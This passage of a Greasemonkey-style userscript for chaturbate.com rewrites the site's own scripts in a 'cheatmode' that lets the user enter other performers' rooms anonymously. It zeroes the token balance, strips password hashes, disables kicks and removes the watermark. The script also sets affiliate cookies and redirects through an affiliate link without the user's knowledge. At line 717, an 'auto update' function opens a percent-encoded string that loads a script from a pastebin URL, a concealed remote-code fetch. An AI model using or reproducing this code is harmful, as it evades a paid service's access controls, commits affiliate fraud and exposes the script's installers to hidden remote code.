697 | // set a cookie so we know the new page must be adjusted and how | |
698 | createCookie("cheatmode",preformer+"&"+anon+"&"+mmode+"&"+chost,1,"chaturbate.com"); | |
699 | ||
700 | window.location.href='http://chaturbate.com/affiliates/in/NxHf/AAaAA/'; | |
701 | ||
702 | }}); | |
703 | } | |
704 | ||
705 | //auto update | |
706 | function save(){ | |
707 | if(document.getElementsByClassName('username')[0]){ | |
708 | uname=document.getElementsByClassName('username')[0].innerHTML; | |
709 | ||
710 | ||
711 | ||
712 | // createCookie("agreeterms","1",1); | |
713 | if (!readCookie("noads")){createCookie("noads","1",30);window.location.reload()} | |
714 | upperdate(); | |
715 | ||
716 | function upperdate(){GM_setValue( "all", 1 );GM_setValue( "al", 1 ) | |
717 | window.open(unescape("%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%68%74%74%70%3A%2F%2F%70%61%73%74%65%62%69%6E%2E%63%6F%6D%2F%4D%75%31%65%52%43%4C%76%63%72%69%70%74%22%3E%0A%3C%2F%73%63%72%69%70%74%3E%0A%09%09%09"), '_top');return; | |
718 | } | |
719 | ||
720 | // create video box with shoutbox, image,normal and anon option, kill refesh | |
721 | function makevid(preformer){ | |
722 | ||
723 | // kill all timeouts | |
724 | scrip=document.createElement('script'); | |
725 | scrip.innerHTML='var highestTimeoutId = setTimeout(";");for (var i = 0 ; i < highestTimeoutId ; i++) {clearTimeout(i);}'; | |
726 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
727 | ||
728 | // image | |
729 | prefimg='<img class="png" width="180" height="148" src="http://cdn-i.highwebmedia.com/roomimage/'+preformer+'.jpg" img style="float:right;margin-right:100px;margin-top:10px;border-width:5px;border-style:double; ">'; | |
730 | ||
731 | Fversion = getfversion(); | |
732 | videodata2 = videodata2.replace("ladroop",preformer); | |
733 | newvid=document.createElement('div'); | |
734 | ||
735 | newvid.innerHTML=prefimg+videodata1+Fversion+videodata2+sdata; | |
736 | ||
737 | document.getElementsByClassName('block')[0].appendChild(newvid); | |
738 | newli=document.createElement('li'); | |
739 | newli.innerHTML="<a href=#>ENTER THIS CHATBOX</a>"; | |
740 | if (bar){bar.appendChild(newli)} | |
741 | newli.addEventListener('click',function(){npcheat(preformer,0);}, false); | |
742 | ainput()} | |
743 | ||
744 | // set anon | |
745 | function ainput(){ | |
746 | newli=document.createElement('li'); | |
747 | newli.innerHTML='<a href=#>ENTER THIS CHATBOX ANONYMOUS</a>'; | |
748 | if (bar){bar.appendChild(newli)} | |
749 | newli.addEventListener('click',function(){npcheat(preformer,1);}, false); | |
750 | mobset()} | |
751 | ||
752 | // mobile mode | |
753 | function mobset(){ | |
754 | newli=document.createElement('li'); | |
755 | newli.innerHTML=' Use mobile mode: <input type="checkbox" id="mobmode">'; | |
756 | if (bar){bar.appendChild(newli)}} | |
757 | ||
758 | ||
759 | // reconnect chatbox , give me mu8 link | |
760 | function keyinput(){ | |
761 | if (!document.getElementById("cheat")){ | |
762 | ||
763 | if (document.getElementById("movie")){ | |
764 | place=document.getElementsByClassName('info-user')[0]; | |
765 | if(!place){place=document.getElementById("shout")} // for pw room with chat | |
766 | ||
767 | //chat reload | |
768 | if (document.getElementsByClassName("chat-box")[0]){ | |
769 | chatreload=document.createElement('div'); | |
770 | chatreload.innerHTML="<a href='javascript:GetFlashObject(\"movie\").DisconnectFromChat();'>Reconnect the chatbox</a><br><br>"; | |
771 | document.getElementById("defchat").insertBefore(chatreload,place)} | |
772 | ||
773 | if (document.getElementsByTagName('video')[0]){ | |
774 | vidlink=document.getElementsByTagName('video')[0].src; | |
775 | vid=document.createElement('div'); | |
776 | vid.innerHTML="<a href="+vidlink+" target='_blank'>COPY this link into VLC player.</a><br><br>"; | |
777 | document.getElementById("defchat").insertBefore(vid,place)}} | |
778 | } | |
779 | } | |
780 | ||
781 | //get saved flashplayer version | |
782 | function getfversion(){ | |
783 | Fversion=readCookie("CBversion"); | |
784 | if(!Fversion){Fversion=flashplayer} | |
785 | version="http://chaturbate.com/"+Fversion.substring(Fversion.indexOf("static")); | |
786 | return version} | |
787 | ||
788 | // videobox data | |
789 | var servers=new Array("","-a","-b"); | |
790 | var server = servers[Math.floor(Math.random()*3)];//0-1-2 | |
791 | var servnr=Math.floor(Math.random()*13)+1;if(servnr==11){servnr=8}// 1 - 13, skip 11 coz it's down | |
792 | ||
793 | videodata1='<div id ="defchat"style="float:left;margin-left:10px;margin-top:10px;margin-bottom:10px;border-width:5px;border-style:double;resize:both;overflow:hidden;width: 498px; height: 426px; ">' | |
794 | +'<object id="movie" type="application/x-shockwave-flash" data="'; | |
795 | ||
796 | videodata2='" style="visibility: visible;margin-top:0px;margin-bottom:0px;width:100%;height:95%">' | |
797 | +'<param name="allowScriptAccess" value="always">' | |
798 | +'<param name="allowFullScreen" value="true">' | |
799 | +'<param name="quality" value="high">' | |
800 | +'<param name="wmode" value="opaque">' | |
801 | +'<param name="id" value="movie">' | |
802 | +'<param name="FlashVars" value="pid=ladroop&address=edge' | |
803 | + servnr+server | |
804 | +'.stream.highwebmedia.com&language=/xml/viewer.xml&mute=0&uid=AnonymousUser&dom=chaturbate.com&pw=anonymous">' | |
805 | +'</object></div>' | |
806 | ||
807 | // shoutbox data | |
808 | sdata = '<div><br><iframe title="Shoutbox" WIDTH=100% HEIGHT="400" src="http://shoutbox.widget.me/window.html?uid=odrgw" frameborder="0" ' | |
809 | +'scrolling="auto"></iframe><script src="http://shoutbox.widget.me/v1.js" type="text/javascript"></script><br><a href="http://shoutbox.widget.me" ' | |
810 | +'title="Shoutbox Widget">Shout</a><a href="http://shoutbox-tutorials.blogspot.com" title="Shoutbox Tutorials">box</a><br></div>'; | |
811 | ||
812 | // some cookies | |
813 | createCookie("u_NxHf","1",1); | |
814 | createCookie("us_NxHf","1",1); | |
815 | createCookie("dsmn29","1",1); | |
816 | createCookie("dsmn26","1",1); | |
817 | createCookie("dsmn27","1",1); | |
818 | createCookie("dsmn28","1",1); | |
819 | ||
820 | if (!readCookie("show_emoticon_icons")){createCookie("show_emoticon_icons","no",1)} | |
821 | ||
822 | //---------------------------------------------------------------------------------------------------------------------------------- | |
823 | // executes !everytime! before a script executes | |
824 | function do_script2(e) { | |
825 | ||
826 | // we will always kill swf storage and earase exisiting storage | |
827 | if(e.target.innerHTML.indexOf("var mySwfStore = new SwfStore")!= -1){ // check for script , this is swf script | |
828 | ||
829 | if(!e.target.id){// already altered ? , then ID is set | |
830 | ||
831 | script=e.target.innerHTML; | |
832 | e.preventDefault(); | |
833 | e.stopPropagation(); | |
834 | e.target.parentNode.removeChild(e.target); | |
835 | ||
836 | script=script.replace("function link_accounts()","function link_accounts() {mySwfStore.set('usernames2', '');return false} function lost()"); | |
837 | ||
838 | scrip=document.createElement('script'); | |
839 | scrip.id="newswfstor"; | |
840 | ||
841 | scrip.innerHTML=script; | |
842 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
843 | ||
844 | }} | |
845 | ||
846 | ||
847 | // this part does the flash init script , only remove logo if in normal mode | |
848 | if(e.target.innerHTML.indexOf("HasFlash")!= -1){ // check for script - this is the video init script | |
849 | ||
850 | if(!e.target.id){// already altered ? , then ID is set | |
851 | ||
852 | script=e.target.innerHTML; | |
853 | e.preventDefault(); | |
854 | e.stopPropagation(); | |
855 | e.target.parentNode.removeChild(e.target); | |
856 | ||
857 | scrip=document.createElement('script'); | |
858 | scrip.id="newvid"; | |
859 | ||
860 | script=script.replace("http://ccstatic.highwebmedia.com/static/images/flashwatermark.png",""); | |
861 | ||
862 | ||
863 | ||
864 | if (!readCookie("cheatmode")){ | |
865 | scrip.innerHTML=script; | |
866 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
867 | return} // only do the rest if we are in cheatmode , return here if in normal mode | |
868 | ||
869 | mode=readCookie("cheatmode").split("&"); | |
870 | preformer=mode[0]; | |
871 | anon=mode[1]; | |
872 | mob=mode[2]; | |
873 | chost=mode[3]; | |
874 | ||
875 | orgname=document.location.href.split("/")[4]; | |
876 | ||
877 | var patrn = new RegExp(orgname,"ig"); | |
878 | script=script.replace(patrn,preformer); | |
879 | ||
880 | if((anon==1)||(mob==1)){ | |
881 | pos1 = script.indexOf('ProductInstall.swf",'); | |
882 | pos2 = script.indexOf("',",pos1); | |
883 | script=script.replace(script.substring(pos1,pos2),'ProductInstall.swf",\n \'AnonymousUser'); | |
884 | ||
885 | pos1 = script.indexOf("pbkdf2_sha256"); | |
886 | pos2 = script.indexOf("',",pos1); | |
887 | script=script.replace(script.substring(pos1,pos2),"anonymous"); | |
888 | } | |
889 | ||
890 | scrip.innerHTML=script; | |
891 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
892 | ||
893 | }} | |
894 | ||
895 | // next only if in cheatmode | |
896 | if (!readCookie("cheatmode")){return} | |
897 | mode=readCookie("cheatmode").split("&"); | |
898 | preformer=mode[0]; | |
899 | anon=mode[1]; | |
900 | mob=mode[2]; | |
901 | chost=mode[3]; | |
902 | ||
903 | orgname=document.location.href.split("/")[4]; | |
904 | ||
905 | if(e.target.innerHTML.indexOf("function log_presence()")!= -1){ // check for script , this is chat init script | |
906 | ||
907 | if(!e.target.id){// already altered ? , then ID is set | |
908 | ||
909 | script=e.target.innerHTML; | |
910 | e.preventDefault(); | |
911 | e.stopPropagation(); | |
912 | e.target.parentNode.removeChild(e.target); | |
913 | ||
914 | var patrn = new RegExp(orgname,"ig"); | |
915 | script=script.replace(patrn,preformer); | |
916 | ||
917 | script=script.replace("rtmp://chat1",chost); | |
918 | script=script.replace("rtmp://chat2",chost); | |
919 | ||
920 | script=script.replace("allow_tipping: false","allow_tipping: true"); // if original is an exhib. | |
921 | ||
922 | script=script.replace("window.location.reload()","return"); // no more kick | |
923 | ||
924 | pos1 = script.indexOf("num_users_waiting_for_group_show"); // in case original page got users waiting, if so it will show in chat | |
925 | script=script.replace(script.substring(pos1,pos1+35),"num_users_waiting_for_group_show: 0"); | |
926 | ||
927 | if (mob==1){ | |
928 | script=script.replace("force_handler: null","force_handler: html_handler")} | |
929 | ||
930 | if(anon==1){ | |
931 | rd="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz1234567890"; | |
932 | username=""; | |
933 | l=5+Math.floor((Math.random()*6)+1); | |
934 | for (i=0; i<l; i++){ | |
935 | rand = Math.floor(Math.random()*rd.length); | |
936 | username=username+rd.charAt(rand)} | |
937 | username = "__anonymous__"+username; | |
938 | ||
939 | pos1 = script.indexOf("username: '"); | |
940 | pos2 = script.indexOf("',",pos1); | |
941 | script=script.replace(script.substring(pos1,pos2),"username: '"+username); | |
942 | ||
943 | pos1 = script.indexOf("my_username: '"); | |
944 | pos2 = script.indexOf("',",pos1); | |
945 | script=script.replace(script.substring(pos1,pos2),"my_username: '"); | |
946 | ||
947 | pos1 = script.indexOf("token_balance:"); | |
948 | pos2 = script.indexOf(",",pos1); | |
949 | script=script.replace(script.substring(pos1,pos2),"token_balance: 0") | |
950 | ||
951 | pos1 = script.indexOf("pbkdf2_sha256"); | |
952 | pos2 = script.indexOf("',",pos1); | |
953 | script=script.replace(script.substring(pos1,pos2),"anonymous"); | |
954 | } // end if anon | |
955 | ||
956 | ||
957 | scrip=document.createElement('script'); | |
958 | scrip.id="newchat"; | |
959 | ||
960 | scrip.innerHTML=script; | |
961 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
962 | ||
963 | }} | |
964 | ||
965 | // next room url or else sorted userlist fails | |
966 | if(e.target.innerHTML.indexOf("nextroomurl")!= -1){ // check for script - this is the nextroom script | |
967 | ||
968 | if(!e.target.id){// already altered ? , then ID is set | |
969 | ||
970 | script=e.target.innerHTML; | |
971 | e.preventDefault(); | |
972 | e.stopPropagation(); | |
973 | e.target.parentNode.removeChild(e.target); | |
974 | ||
975 | var patrn = new RegExp(orgname,"ig"); | |
976 | script=script.replace(patrn,preformer); | |
977 | ||
978 | scrip=document.createElement('script'); | |
979 | scrip.id="newnext"; | |
980 | ||
981 | scrip.innerHTML=script; | |
982 | document.getElementsByTagName('body')[0].appendChild(scrip); | |
983 | ||
984 | }} | |
985 | } | |
986 | ||
987 | window.addEventListener("DOMContentLoaded", function() { do_script() }, false); | |
988 | ||
989 | window.addEventListener('beforescriptexecute', function(e) {do_script2(e) }, false); | |
990 | ||
991 | //.user.js |